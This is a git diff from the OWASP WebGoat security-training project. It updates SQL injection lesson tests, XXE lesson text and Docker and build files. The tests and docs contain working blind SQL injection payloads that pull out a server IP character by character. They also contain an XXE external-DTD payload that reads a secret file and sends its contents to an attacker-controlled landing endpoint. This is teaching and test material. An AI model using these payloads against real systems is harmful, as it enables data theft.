.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||||
|
|
||||||
|
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||||
|
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,2,1) = '0') IS NOT NULL then hostname else id end"))
|
||||||
|
|
||||||
|
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||||
|
|
||||||
|
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||||
|
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,3,1) = '4') IS NOT NULL then hostname else id end"))
|
||||||
|
|
||||||
|
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void addressIncorrectShouldOrderByIdUsingSubstr() throws Exception {
|
||||||
|
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||||
|
.param("column", "case when (select ip from servers where hostname='webgoat-prd' and substr(ip,1,1) = '9') IS NOT NULL then hostname else id end"))
|
||||||
|
|
||||||
|
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void trueShouldSortByHostname() throws Exception {
|
public void trueShouldSortByHostname() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||||
@ -63,21 +97,13 @@ public class SqlInjectionLesson12aTest extends LessonTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void passwordIncorrectShouldOrderByHostname() throws Exception {
|
public void addressIncorrectShouldOrderByHostname() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
||||||
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END"))
|
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END"))
|
||||||
|
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
|
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
|
||||||
public void passwordCorrectShouldOrderByHostname() throws Exception {
|
|
||||||
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
|
|
||||||
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
|
|
||||||
|
|
||||||
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void postingCorrectAnswerShouldPassTheLesson() throws Exception {
|
public void postingCorrectAnswerShouldPassTheLesson() throws Exception {
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
|
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
<dependencies>
|
<dependencies>
|
||||||
<dependency>
|
<dependency>
|
||||||
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
@ -23,8 +23,8 @@ website. The following items are supported in WebWolf:
|
|||||||
* Receiving email
|
* Receiving email
|
||||||
* Landing page for incoming requests
|
* Landing page for incoming requests
|
||||||
|
|
||||||
WebWolf runs as a separate web application and is started automatically when using the Docker image. If you
|
WebWolf runs as a separate web application. If you are using the Docker-compose file you can just point your browser webWolfLink:here[] to open WebWolf.
|
||||||
are not using the Docker image you will need to download the jar file and start it:
|
If you want to use the standalone version, you will need to download the jar file and start it:
|
||||||
|
|
||||||
```
|
```
|
||||||
java -jar webwolf-<<version>>.jar [--server.port=9090] [--server.address=localhost]
|
java -jar webwolf-<<version>>.jar [--server.port=9090] [--server.address=localhost]
|
||||||
@ -33,17 +33,7 @@ java -jar webwolf-<<version>>.jar [--server.port=9090] [--server.address=localho
|
|||||||
By default WebWolf starts on port 9090 with `--server.port` you can specify a different port. With `server.address` you
|
By default WebWolf starts on port 9090 with `--server.port` you can specify a different port. With `server.address` you
|
||||||
can bind it to a different address (default localhost)
|
can bind it to a different address (default localhost)
|
||||||
|
|
||||||
WebWolf is also available as a Docker container, because it shares the database with WebGoat we first need
|
Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well.
|
||||||
to find out the ip address of the Docker container.
|
|
||||||
|
|
||||||
```
|
|
||||||
WEBGOAT_SERVER_ADDRESS=$(docker inspect -f "{{ .NetworkSettings.IPAddress }}" `docker ps | grep webgoat | awk '{print $1}'`)
|
|
||||||
docker pull webgoat/webwolf
|
|
||||||
docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 9090:9090 webgoat/webwolf /home/webwolf/run.sh
|
|
||||||
```
|
|
||||||
|
|
||||||
Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well. If
|
|
||||||
you start WebGoat as Docker container you need to start WebWolf as Docker container as well.
|
|
||||||
|
|
||||||
|
|
||||||
This will start the application on port 9090, click webWolfLink:here[] to open WebWolf.
|
This will start the application on port 9090, click webWolfLink:here[] to open WebWolf.
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
@ -15,6 +15,11 @@
|
|||||||
<artifactId>commons-lang</artifactId>
|
<artifactId>commons-lang</artifactId>
|
||||||
<version>2.6</version>
|
<version>2.6</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.glassfish.jaxb</groupId>
|
||||||
|
<artifactId>jaxb-runtime</artifactId>
|
||||||
|
<version>2.3.0</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>com.github.tomakehurst</groupId>
|
<groupId>com.github.tomakehurst</groupId>
|
||||||
|
@ -5,7 +5,7 @@ Or the resource you are trying to read contains illegal XML character which caus
|
|||||||
Let's start with an example, in this case we reference an external DTD which we control on our own server.
|
Let's start with an example, in this case we reference an external DTD which we control on our own server.
|
||||||
|
|
||||||
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
|
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
|
||||||
use this server to ping it using `webWolfLink:landing[noLink]`
|
use this server to ping it using `webWolfRootLink:landing[noLink]`
|
||||||
|
|
||||||
How do we use this endpoint to verify whether we can perform XXE?
|
How do we use this endpoint to verify whether we can perform XXE?
|
||||||
|
|
||||||
@ -14,7 +14,7 @@ We can again use WebWolf to host a file called `attack.dtd`, create this file wi
|
|||||||
[source, subs="macros, specialcharacters"]
|
[source, subs="macros, specialcharacters"]
|
||||||
----
|
----
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!ENTITY ping SYSTEM 'webWolfLink:landing[noLink]'>
|
<!ENTITY ping SYSTEM 'webWolfRootLink:landing[noLink]'>
|
||||||
----
|
----
|
||||||
|
|
||||||
Now submit the form change the xml using to:
|
Now submit the form change the xml using to:
|
||||||
@ -37,7 +37,7 @@ Now in WebWolf browse to 'Incoming requests' and you will see:
|
|||||||
----
|
----
|
||||||
{
|
{
|
||||||
"method" : "GET",
|
"method" : "GET",
|
||||||
"path" : "/ping",
|
"path" : "/landing",
|
||||||
"headers" : {
|
"headers" : {
|
||||||
"request" : {
|
"request" : {
|
||||||
"user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
|
"user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
|
||||||
|
@ -18,6 +18,6 @@ DTD.
|
|||||||
|`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|
|`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|
||||||
|===
|
|===
|
||||||
|
|
||||||
Try to upload this file using WebWolf landing page for example: `webWolfLink:landing?text=contents_file[noLink]`
|
Try to upload this file using WebWolf landing page for example: `webWolfRootLink:landing?text=contents_file[noLink]`
|
||||||
(NOTE: this endpoint is under your full control)
|
(NOTE: this endpoint is under your full control)
|
||||||
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.
|
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.
|
@ -2,6 +2,7 @@
|
|||||||
|
|
||||||
An XML Entity allows tags to be defined that will be replaced by content when the XML Document is parsed.
|
An XML Entity allows tags to be defined that will be replaced by content when the XML Document is parsed.
|
||||||
In general there are three types of entities:
|
In general there are three types of entities:
|
||||||
|
|
||||||
* internal entities
|
* internal entities
|
||||||
* external entities
|
* external entities
|
||||||
* parameter entities.
|
* parameter entities.
|
||||||
@ -34,6 +35,7 @@ may be exploited by dereferencing a malicious URI, possibly allowing arbitrary c
|
|||||||
local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
|
local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
|
||||||
|
|
||||||
In general we can distinguish the following kind of XXE attacks:
|
In general we can distinguish the following kind of XXE attacks:
|
||||||
|
|
||||||
* Classic: in this case an external entity is included in a local DTD
|
* Classic: in this case an external entity is included in a local DTD
|
||||||
* Blind: no output and or errors are shown in the response
|
* Blind: no output and or errors are shown in the response
|
||||||
* Error: try to get the content of a resource in the error message
|
* Error: try to get the content of a resource in the error message
|
@ -89,7 +89,34 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
|||||||
"%remote;" +
|
"%remote;" +
|
||||||
"]>" +
|
"]>" +
|
||||||
"<comment><text>test&send;</text></comment>";
|
"<comment><text>test&send;</text></comment>";
|
||||||
|
performXXE(xml);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
public void solveOnlyParamReferenceEntityInExternalDTD() throws Exception {
|
||||||
|
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
|
||||||
|
//Host DTD on WebWolf site
|
||||||
|
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||||
|
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>\">\n";
|
||||||
|
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
|
||||||
|
.willReturn(aResponse()
|
||||||
|
.withStatus(200)
|
||||||
|
.withBody(dtd)));
|
||||||
|
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
|
||||||
|
|
||||||
|
//Make the request from WebGoat
|
||||||
|
String xml = "<?xml version=\"1.0\"?>" +
|
||||||
|
"<!DOCTYPE comment [" +
|
||||||
|
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
|
||||||
|
"<!ENTITY % remote SYSTEM \"http://localhost:9090/files/test.dtd\">" +
|
||||||
|
"%remote;" +
|
||||||
|
"%all;" +
|
||||||
|
"]>" +
|
||||||
|
"<comment><text>test&send;</text></comment>";
|
||||||
|
performXXE(xml);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void performXXE(String xml) throws Exception {
|
||||||
//Call with XXE injection
|
//Call with XXE injection
|
||||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||||
.content(xml))
|
.content(xml))
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
FROM openjdk:8-jre-slim
|
FROM openjdk:11.0.1-jre-slim-stretch
|
||||||
|
|
||||||
ARG webgoat_version=v8.0.0.SNAPSHOT
|
ARG webgoat_version=v8.0.0-SNAPSHOT
|
||||||
|
|
||||||
RUN \
|
RUN \
|
||||||
apt-get update && apt-get install && \
|
apt-get update && apt-get install && \
|
||||||
@ -10,5 +10,7 @@ USER webgoat
|
|||||||
RUN cd /home/webgoat/; mkdir -p .webgoat-${webgoat_version}
|
RUN cd /home/webgoat/; mkdir -p .webgoat-${webgoat_version}
|
||||||
COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar
|
COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar
|
||||||
|
|
||||||
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webgoat/webgoat.jar", "--server.address=0.0.0.0"]
|
EXPOSE 8080
|
||||||
EXPOSE 8080
|
|
||||||
|
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webgoat/webgoat.jar"]
|
||||||
|
CMD ["--server.port=8080", "--server.address=0.0.0.0"]
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-parent</artifactId>
|
<artifactId>webgoat-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<properties>
|
<properties>
|
||||||
@ -203,11 +203,13 @@
|
|||||||
<!--<version>${project.version}</version>-->
|
<!--<version>${project.version}</version>-->
|
||||||
<!--</dependency>-->
|
<!--</dependency>-->
|
||||||
<!-- /lessons -->
|
<!-- /lessons -->
|
||||||
<dependency>
|
|
||||||
<groupId>org.springframework.boot</groupId>
|
<!-- devtools no longer working with Java 11 and Spring Boot version 1.* enable again once we move to 2.0-->
|
||||||
<artifactId>spring-boot-devtools</artifactId>
|
<!--<dependency>-->
|
||||||
<optional>true</optional>
|
<!--<groupId>org.springframework.boot</groupId>-->
|
||||||
</dependency>
|
<!--<artifactId>spring-boot-devtools</artifactId>-->
|
||||||
|
<!--<optional>true</optional>-->
|
||||||
|
<!--</dependency>-->
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.postgresql</groupId>
|
<groupId>org.postgresql</groupId>
|
||||||
<artifactId>postgresql</artifactId>
|
<artifactId>postgresql</artifactId>
|
||||||
|
@ -1,5 +1,6 @@
|
|||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.hsqldb.server.Server;
|
import org.hsqldb.server.Server;
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
|
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
|
||||||
@ -17,6 +18,7 @@ import javax.sql.DataSource;
|
|||||||
* JVM. This can only be done if you start a standalone HSQLDB. We need both WebWolf and WebGoat to use the same database
|
* JVM. This can only be done if you start a standalone HSQLDB. We need both WebWolf and WebGoat to use the same database
|
||||||
*/
|
*/
|
||||||
@Configuration
|
@Configuration
|
||||||
|
@Slf4j
|
||||||
@ConditionalOnProperty(prefix = "webgoat.start", name = "hsqldb", havingValue = "true")
|
@ConditionalOnProperty(prefix = "webgoat.start", name = "hsqldb", havingValue = "true")
|
||||||
public class HSQLDBDatabaseConfig {
|
public class HSQLDBDatabaseConfig {
|
||||||
|
|
||||||
@ -27,7 +29,7 @@ public class HSQLDBDatabaseConfig {
|
|||||||
public Server hsqlStandalone(@Value("${webgoat.server.directory}") String directory,
|
public Server hsqlStandalone(@Value("${webgoat.server.directory}") String directory,
|
||||||
@Value("${hsqldb.silent:true}") boolean silent,
|
@Value("${hsqldb.silent:true}") boolean silent,
|
||||||
@Value("${hsqldb.trace:false}") boolean trace) {
|
@Value("${hsqldb.trace:false}") boolean trace) {
|
||||||
|
log.info("Starting internal database on port {} ...", hsqldbPort);
|
||||||
Server server = new Server();
|
Server server = new Server();
|
||||||
server.setDatabaseName(0, "webgoat");
|
server.setDatabaseName(0, "webgoat");
|
||||||
server.setDatabasePath(0, directory + "/data/webgoat");
|
server.setDatabasePath(0, directory + "/data/webgoat");
|
||||||
|
@ -24,17 +24,22 @@
|
|||||||
*/
|
*/
|
||||||
package org.owasp.webgoat;
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.boot.SpringApplication;
|
import org.springframework.boot.SpringApplication;
|
||||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
* Main entry point, this project is here to get all the lesson jars included to the final jar file
|
||||||
|
*
|
||||||
* @author nbaars
|
* @author nbaars
|
||||||
* @date 2/21/17
|
* @date 2/21/17
|
||||||
*/
|
*/
|
||||||
@SpringBootApplication
|
@SpringBootApplication
|
||||||
|
@Slf4j
|
||||||
public class StartWebGoat {
|
public class StartWebGoat {
|
||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
|
log.info("Starting WebGoat with args: {}", args);
|
||||||
SpringApplication.run(WebGoat.class, args);
|
SpringApplication.run(WebGoat.class, args);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
FROM openjdk:8-jre-slim
|
FROM openjdk:11.0.1-jre-slim-stretch
|
||||||
|
|
||||||
ARG webwolf_version=v8.0.0.SNAPSHOT
|
ARG webwolf_version=v8.0.0-SNAPSHOT
|
||||||
|
|
||||||
RUN \
|
RUN \
|
||||||
apt-get update && apt-get install && \
|
apt-get update && apt-get install && \
|
||||||
@ -8,7 +8,9 @@ RUN \
|
|||||||
|
|
||||||
USER webwolf
|
USER webwolf
|
||||||
COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar
|
COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar
|
||||||
|
COPY start-webwolf.sh /home/webwolf
|
||||||
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webwolf/webwolf.jar", "--server.port=9090", "--server.address=0.0.0.0"]
|
|
||||||
|
|
||||||
EXPOSE 9090
|
EXPOSE 9090
|
||||||
|
|
||||||
|
ENTRYPOINT ["/home/webwolf/start-webwolf.sh"]
|
||||||
|
CMD ["--server.port=9090", "--server.address=0.0.0.0"]
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat</groupId>
|
<groupId>org.owasp.webgoat</groupId>
|
||||||
<artifactId>webgoat-parent</artifactId>
|
<artifactId>webgoat-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
@ -26,7 +26,7 @@
|
|||||||
<dependency>
|
<dependency>
|
||||||
<groupId>commons-io</groupId>
|
<groupId>commons-io</groupId>
|
||||||
<artifactId>commons-io</artifactId>
|
<artifactId>commons-io</artifactId>
|
||||||
<version>LATEST</version>
|
<version>${commons-io.version}</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
@ -57,11 +57,13 @@
|
|||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-data-jpa</artifactId>
|
<artifactId>spring-boot-starter-data-jpa</artifactId>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
|
||||||
<groupId>org.springframework.boot</groupId>
|
<!-- devtools no longer working with Java 11 and Spring Boot version 1.* enable again once we move to 2.0-->
|
||||||
<artifactId>spring-boot-devtools</artifactId>
|
<!--<dependency>-->
|
||||||
<optional>true</optional>
|
<!--<groupId>org.springframework.boot</groupId>-->
|
||||||
</dependency>
|
<!--<artifactId>spring-boot-devtools</artifactId>-->
|
||||||
|
<!--<optional>true</optional>-->
|
||||||
|
<!--</dependency>-->
|
||||||
|
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.webjars</groupId>
|
<groupId>org.webjars</groupId>
|
||||||
@ -103,9 +105,9 @@
|
|||||||
<artifactId>maven-compiler-plugin</artifactId>
|
<artifactId>maven-compiler-plugin</artifactId>
|
||||||
<version>${maven-compiler-plugin.version}</version>
|
<version>${maven-compiler-plugin.version}</version>
|
||||||
<configuration>
|
<configuration>
|
||||||
<source>1.8</source>
|
<source>11</source>
|
||||||
<target>1.8</target>
|
<target>11</target>
|
||||||
<encoding>ISO-8859-1</encoding>
|
<encoding>UTF-8</encoding>
|
||||||
</configuration>
|
</configuration>
|
||||||
</plugin>
|
</plugin>
|
||||||
<plugin>
|
<plugin>
|
||||||
|
7
webwolf/start-webwolf.sh
Executable file
7
webwolf/start-webwolf.sh
Executable file
@ -0,0 +1,7 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# Script to start WebWolf, it needs a valid database connection from WebGoat so we wait 8 seconds before starting
|
||||||
|
# WebWolf application
|
||||||
|
|
||||||
|
echo " Waiting for database to be available..."
|
||||||
|
sleep 8 && java -Djava.security.egd=file:/dev/./urandom -jar /home/webwolf/webwolf.jar $@
|
Reference in New Issue
Block a user